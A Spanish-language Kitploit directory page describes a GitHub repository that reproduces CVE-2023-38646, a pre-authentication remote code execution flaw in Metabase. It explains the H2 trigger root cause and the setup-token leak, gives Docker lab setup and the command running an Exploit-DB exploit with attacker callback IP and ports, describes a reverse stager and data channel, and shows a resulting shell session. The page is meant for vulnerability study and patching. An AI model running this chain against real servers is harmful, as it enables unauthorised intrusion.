Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
metabase-cve-2023-38646 — El repositorio contiene el PoC y los pasos para reproducir cve 2023-38646 | Kitploit
Herramientas/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

El repositorio contiene el PoC y los pasos para reproducir cve 2023-38646

Ver Repositorio
5hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-38646 — Ejecución remota de código pre-autenticación en Metabase

Resumen

CVSS 9.8. Las versiones de Metabase anteriores a 0.46.6.1 / 1.46.6.1 (y ramas anteriores equivalentes) exponen una RCE pre-autenticación a través del endpoint /api/setup/validate, que está pensado para validar los detalles de conexión a la base de datos durante la configuración inicial, pero es accesible sin autenticación incluso después de que la configuración ya se haya completado.

Causa raíz

El endpoint acepta un payload de conexión a la base de datos y, cuando se especifica engine: h2 con una cadena de conexión JDBC manipulada, permite incrustar JavaScript arbitrario mediante la sintaxis CREATE TRIGGER ... AS $$//javascript de H2. El cuerpo del trigger se ejecuta en el momento de la validación, otorgando al atacante ejecución de JavaScript dentro de la JVM — lo que escala trivialmente a ejecución de comandos del sistema operativo mediante java.lang.Runtime.getRuntime().exec().

El problema subyacente es que el motor de base de datos H2 confía en el código incrustado en la cadena de conexión como parte de la "validación" de un origen de datos, combinado con el hecho de que Metabase expone esta ruta de validación pre-autenticación.

Entorno

  • Objetivo: imagen oficial de Docker metabase/metabase:v0.46.6
  • Herramientas del atacante: Python 3, requests, termcolor
  • Fuente del PoC: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Configuración

Ejecutar Metabase vulnerable:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

Instalar las dependencias del exploit:

root@kitploit:~
pip3 install requests termcolor

Cadena de explotación

  1. Obtención del token de configuración — /api/session/properties filtra un setup-token que está pensado para controlar el flujo de configuración inicial único, pero permanece válido y utilizable incluso después de que la configuración se complete.
  2. Sonda de explotabilidad — el atacante levanta un servidor HTTP local; el trigger de H2 manipulado hace que el objetivo realice un callback saliente hacia él, confirmando la ejecución de JS dentro del motor H2.
  3. Ejecución de comandos — un segundo trigger manipulado utiliza java.lang.Runtime.getRuntime().exec() para descargar un stager bash del servidor HTTP del atacante y enviar de vuelta la salida del comando a través de un listener TCP crudo, codificada en base64.

Ejecución

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP de callback del atacante (puerta de enlace del puente Docker cuando el objetivo es un contenedor local, p. ej. 172.17.0.1)
  • -p — puerto al que se conecta el canal de datos inverso
  • -P — puerto del servidor HTTP local que sirve el script stager
  • -u — URL base del Metabase objetivo

Una vez que el callback pre-autenticación confirma la explotabilidad, se entra en un prompt interactivo metabase_shell >.

Resultado

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Ejecución de comandos confirmada como la cuenta de servicio metabase — pre-autenticación, sin necesidad de credenciales. La gravedad proviene de una RCE alcanzable por red con cero autenticación, no del nivel de privilegios del shell resultante.

Corrección

Parcheado en Metabase 0.46.6.1 / 1.46.6.1 y posteriores — el endpoint /api/setup/validate ahora requiere que la configuración esté genuinamente incompleta, y los tokens de configuración se invalidan una vez que la configuración inicial finaliza.

Aviso legal

Solo para uso en laboratorio aislado. No lo ejecutes contra instancias de Metabase que no sean tuyas o para las que no tengas autorización explícita para probar.

Descargar herramienta